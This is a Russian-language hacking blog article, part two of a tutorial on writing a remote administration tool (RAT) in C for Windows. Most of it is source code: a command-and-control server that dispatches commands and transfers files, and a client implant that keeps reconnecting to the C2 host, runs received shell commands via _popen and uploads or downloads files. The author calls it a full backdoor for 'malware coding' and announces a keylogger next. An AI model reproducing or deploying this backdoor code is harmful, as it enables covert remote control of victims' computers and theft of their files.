Пишем RAT (remote administration tool) на C. Часть 2
Life-Hack [Жизнь-Взлом]/ХакингЗавершение работы RAT-a:
// Функция закрытия соединения с клиентом
int terminate_client(char* const buf, const size_t cmd_len, const SOCKET client_socket) {
// ‘2’ код команды для удаления/завершения процесса RAT-a
send(client_socket, “2”, cmd_len, 0);
return 0;
}
Смена директории:
// Функция смены директории.
int client_cd(char* const buf, const size_t cmd_len, const SOCKET client_socket) {
// ‘1’ – код команды для смены директории
buf[3] = ‘1’;
// Отправка кода команды и названия директории
if (send(client_socket, &buf[3], cmd_len, 0) < 1)
return SOCKET_ERROR;
return 1;
}
Функция отправки команд клиенту:
// Функция отправки команд клиенту
int send_cmd(char* const buf, const size_t cmd_len, const SOCKET client_socket) {
// Отправляем команду.
if (send(client_socket, buf, cmd_len, 0) < 1)
return SOCKET_ERROR;
// Получаем размер выходного потока сериализованных байтов
if (recv(client_socket, buf, sizeof(uint32_t), 0) < 1)
return SOCKET_ERROR;
// Десериализация размера потока
uint32_t s_size = ntohl_conv(&*(buf));
// Меняем i_result на true
int i_result = 1;
// Получаем ответ команды и записываем его в stdout
do {
if ((i_result = recv(client_socket, buf, BUFLEN, 0)) < 1)
return i_result;
fwrite(buf, 1, i_result, stdout);
} while ((s_size -= i_result) > 0);
// Символ \n нужен для выравнивания командной строки
fputc(‘\n’, stdout);
return i_result;
}
Функция парсинга команд:
// Функция парсинга команд
const func parse_cmd(char* const buf) {
// Массив команд.
const char commands[4][10] = { “cd “, “exit”, “upload “, “download ” };
// Массив указателей функций каждой команды
const func func_array[4] = { &client_cd, &terminate_client, &send_file, &recv_file };
for (int i = 0; i < 4; i++) {
if (compare(buf, commands[i]))
return func_array[i];
}
// Если команда не обнаружилась в commands – отправляем/выполняем ее на клиенте через _popen()
return &send_cmd;
}
Закрытие соединений:
// Функция для изменения размера массива conns/удаления и закрытия соединений.
void delete_conn(Conn_map* conns, const int client_id) {
// Если accept_conns() выполняется – ждём, пока завершится conns->clients.
WaitForSingleObject(conns->ghMutex, INFINITE);
if (conns->clients[client_id].sock)
closesocket(conns->clients[client_id].sock);
// Если есть более одного подключения:
if (conns->size > 1) {
int max_index = conns->size-1;
for (size_t i = client_id; i < max_index; i++) {
conns->clients[i].sock = conns->clients[i + 1].sock;
conns->clients[i].host = conns->clients[i + 1].host;
}
conns->clients[max_index].sock = 0;
conns->clients[max_index].host = NULL;
}
conns->size–;
// ReleaseMutex нужен, чтобы accept_conns() мог продолжать выполняться.
ReleaseMutex(conns->ghMutex);
}
Взаимодействие с соединениями:
// Функция для “сворачивания” соединения и вызова команд.
void interact(Conn_map* conns, char* const buf, const int client_id) {
const SOCKET client_socket = conns->clients[client_id].sock;
char* client_host = conns->clients[client_id].host;
// Меняем i_result на true.
int i_result = 1;
// Получаем и парсим команды /отправляем их клиенту.
while (i_result > 0) {
printf(“%s // “, client_host);
// Обнуляем все байты в буфере.
memset(buf, ‘\0’, BUFLEN);
size_t cmd_len = get_line(buf);
char* cmd = &buf[1];
if (cmd_len > 1) {
if (compare(cmd, “background”)) {
return;
}
else {
// Если команда спарсилась успешно вызываем её функцию или отправляем её клиенту.
const func target_func = parse_cmd(cmd);
i_result = target_func(buf, cmd_len, client_socket);
}
}
}
// Если клиент отключился/вышел – удаляем соединение.
delete_conn(conns, client_id);
printf(“Client: \”%s\” is no longer connected.\n\n”, client_host);
}
Выполнение команд через Popen:
// Функция выполнения команд.
void exec_cmd(char* const buf) {
// Вызываем Popen чтобы выполнить команду и читаем её ответ.
FILE* fpipe = _popen(buf, “r”);
fseek(fpipe, 0, SEEK_END);
size_t cmd_len = ftell(fpipe);
fseek(fpipe, 0, SEEK_SET);
// Пишем ответ команды в stdout.
int rb = 0;
do {
rb = fread(buf, 1, BUFLEN, fpipe);
fwrite(buf, 1, rb, stdout);
} while (rb == BUFLEN);
// Символ \n нужен для выравнивания командной строки.
fputc(‘\n’, stdout);
// Закрываем пайп.
_pclose(fpipe);
}
Функция Main, в которой мы запускаем C2 сервер и ждем подключений:
// Основная функция для парсинга команд и вызова остальных функций.
int main(void) {
Conn_map conns;
conns.ghMutex = CreateMutex(NULL, FALSE, NULL);
HANDLE acp_thread = CreateThread(0, 0, accept_conns, &conns, 0, 0);
HANDLE hColor;
hColor = GetStdHandle(STD_OUTPUT_HANDLE);
SetConsoleTextAttribute(hColor, 9);
while (1) {
printf(“CyberSec RAT\n[]==> “);
// BUFLEN + 1, чтобы строка всегда оканчивалась нулем
char buf[BUFLEN + 1] = { 0 };
size_t cmd_len = get_line(buf);
char* cmd = &buf[1];
if (cmd_len > 1) {
if (compare(cmd, “exit”)) {
// Выйти из приема подключений
TerminateThread(acp_thread, 0);
// Если есть какие-либо коннекты, закрываем их перед выходом
if (conns.size) {
for (size_t i = 0; i < conns.size; i++) {
closesocket(conns.clients[i].sock);
}
// Освобождаем выделенную память
free(conns.clients);
}
terminate_server(conns.listen_socket, NULL);
}
else if (compare(cmd, “cd “)) {
// Изменение текущей директории
_chdir(&cmd[3]);
}
else if (compare(cmd, “list”)) {
// Список всех подключений
list_connections(&conns);
}
else if (compare(cmd, “interact “)) {
// Взаимодействие с клиентом
int client_id;
client_id = atoi(&cmd[9]);
if (!conns.size || client_id < 0 || client_id > conns.size – 1) {
printf(“Invalid client identifier.\n”);
}
else {
interact(&conns, buf, client_id);
}
}
else {
// Выполняем команду
exec_cmd(cmd);
}
}
}
return -1;
}
На этом код сервера можно считать полностью готовым. Я использую IDE CodeBlocks, поэтому в настройках компиляции нужно указать библиотеку lws2_32, без нее IDE будет выдавать ошибки (для клиента нужно будет сделать этот шаг снова).


После успешной компиляции можно проверить работоспособность сервера используя NetCat:


Конекты приходят и с ними можно взаимодействовать, а это значит, что сервер работает.
Клиент
В коде клиента мы будем использовать заголовочный файл tools.h, который создали в начале статьи. Через #include добавляем нужные библиотеки и создаем функцию create_socket:
#include <ws2tcpip.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include “tools.h”
#pragma comment(lib, “Ws2_32.lib”)
// Функция создания сокета
const SOCKET create_socket() {
// Инициализируем winsock
WSADATA wsData;
WORD ver = MAKEWORD(2, 2);
if (WSAStartup(ver, &wsData) != 0)
return INVALID_SOCKET;
// Создаем сокет
const SOCKET connect_socket = socket(AF_INET, SOCK_STREAM, 0);
if (connect_socket == INVALID_SOCKET) {
WSACleanup();
return connect_socket;
}
return connect_socket;
}
Функция подключения к C2, которая будет принимать переменные host и port:
// Функция подключения сокета к c2 серверу.
int c2_connect(const SOCKET connect_socket, const char* host, const int port) {
struct sockaddr_in hint;
hint.sin_family = AF_INET;
hint.sin_port = htons(port);
inet_pton(AF_INET, host, &hint.sin_addr);
// Подключение к серверу, на котором запущен c2
if (connect(connect_socket, (struct sockaddr*)&hint, sizeof(hint)) == SOCKET_ERROR) {
closesocket(connect_socket);
return SOCKET_ERROR;
}
return 1;
}
Функция получения файла с C2:
// Функция получения файла с C2
int recv_file(char* const buf, const char* filename, const SOCKET connect_socket) {
FILE* fd = fopen(filename, “wb”);
// Получаем размер файла
if (recv(connect_socket, buf, sizeof(uint32_t), 0) < 1)
return SOCKET_ERROR;
// Сериализуем f_size.
uint32_t f_size = ntohl_conv(&*(buf));
// Получаем байты и записываем их в файл.
int i_result = 1;
long int total = 0;
while (total != f_size && i_result > 0) {
i_result = recv(connect_socket, buf, BUFLEN, 0);
fwrite(buf, 1, i_result, fd);
total += i_result;
}
fclose(fd);
return i_result;
}
Отправка файла на C2:
// Функция отправки файла на c2
int send_file(const char* filename, const SOCKET connect_socket, char* const buf) {
// Открываем файл
FILE* fd = fopen(filename, “rb”);
uint32_t bytes = 0, f_size = 0;
if (fd) {
// Считаем размер файла
fseek(fd, 0L, SEEK_END);
f_size = ftell(fd);
// Сериализуем f_size.
bytes = htonl(f_size);
fseek(fd, 0L, SEEK_SET);
}
if (send(connect_socket, (char*)&bytes, sizeof(bytes), 0) < 1)
return SOCKET_ERROR;
int i_result = 1;
// Рекурсивно читаем и отправляем байты файла на c2 сервер.
if (f_size) {
int bytes_read;
while (!feof(fd) && i_result > 0) {
// Читаем файл, пока не дойдем до конца
if (bytes_read = fread(buf, 1, BUFLEN, fd)) {
// Отправляем байты
i_result = send(connect_socket, buf, bytes_read, 0);
}
else {
break;
}
}
// Закрываем файл
fclose(fd);
}
return i_result;
}
Выполнение команд через Popen:
// Функция выполнения команд
int exec_cmd(const SOCKET connect_socket, char* const buf) {
// Вызываем Popen для выполнения команд и читаем результат.
strcat(buf, ” 2>&1″);
FILE* fpipe = _popen(buf, “r”);
int bytes_read;
if ((bytes_read = fread(buf, 1, BUFLEN, fpipe)) == 0) {
bytes_read = 1;
buf[0] = ‘\0’;
}
uint32_t s_size = bytes_read;
const int chunk = 24576;
int capacity = chunk;
char* output = malloc(capacity);
strcpy(output, buf);
// Читаем и сохраняем stdout в output.
while (1) {
if ((bytes_read = fread(buf, 1, BUFLEN, fpipe)) == 0)
break;
// Если output достигнет максимального объема в памяти.
if ((s_size += bytes_read) == capacity)
output = realloc(output, (capacity += chunk));
strcat(output, buf);
}
// Сериализация s_size.
uint32_t bytes = htonl(s_size);
// Отправляем байты
if (send(connect_socket, (char*)&bytes, sizeof(uint32_t), 0) < 1)
return SOCKET_ERROR;
int i_result = send(connect_socket, output, s_size, 0);
free(output);
// Закрываем пайп.
_pclose(fpipe);
return i_result;
}
Функция Main, в ней мы будем использовать кейсы для каждой команды, а если подключится к серверу не получиться – ждем 8 секунд и пробуем еще раз:
// Основная функция для подключения к серверу c2 и парсинга команд
int main(void) {
// Порт и айпи c2 сервера.
const char host[] = “127.0.0.1”;
const int port = 4443;
while (1) {
// Создаем сокет.
const SOCKET connect_socket = create_socket();
/*
При подключении к c2 запускаем цикл для приема/парсинга команд.
В случае возникновения ошибки (потеря соединения и т.д.) – прерываем цикл и повторно его перезапускаем.
Оператор switch будет анализировать и выполнять функции в соответствии с полученным кодом.
*/
if (connect_socket != INVALID_SOCKET) {
int i_result = c2_connect(connect_socket, host, port);
while (i_result > 0) {
// BUFLEN + 1 + 4, для null байта и конкатенации “2>&1”
char buf[BUFLEN + 5] = { 0 };
if (recv(connect_socket, buf, BUFLEN, 0) < 1)
break;
// buf[0] – код команды, а &buf[1] ее аргумент
switch (buf[0]) {
case ‘0’:
i_result = exec_cmd(connect_socket, &buf[1]);
break;
case ‘1’:
// Вызываем функцию смены директории
_chdir(&buf[1]);
break;
case ‘2’:
// Выход
return 0;
case ‘3’:
// Получаем файл с c2 сервера
i_result = recv_file(buf, &buf[1], connect_socket);
break;
case ‘4’:
// Отправляем файл на c2 сервер
i_result = send_file(&buf[1], connect_socket, buf);
break;
}
}
}
// Если подключится не удалось ждем 8 секунд и пробуем еще раз
Sleep(8000);
}
return -1;
}
Скриншоты работы:

Вес сервера 96 килобайт, а вес клиента 86 килобайт:

Еще один RAT, который использует Telegram как управляющий сервер:

Заключение
Эта статья является первой частью и наглядным примером, почему стоит делать выбор в пользу С при кодинге малвари (в целях самообучения конечно же). Теперь вы имеете представление о том, как создается полноценный бэкдор на С, который предоставляет управление машиной, надеемся, что вы уже ощущаете невероятную мощь этого языка и готовы к экспериментам, ведь в следующей части мы рассмотрим создание кейлоггера и сравним его с аналогами на Python.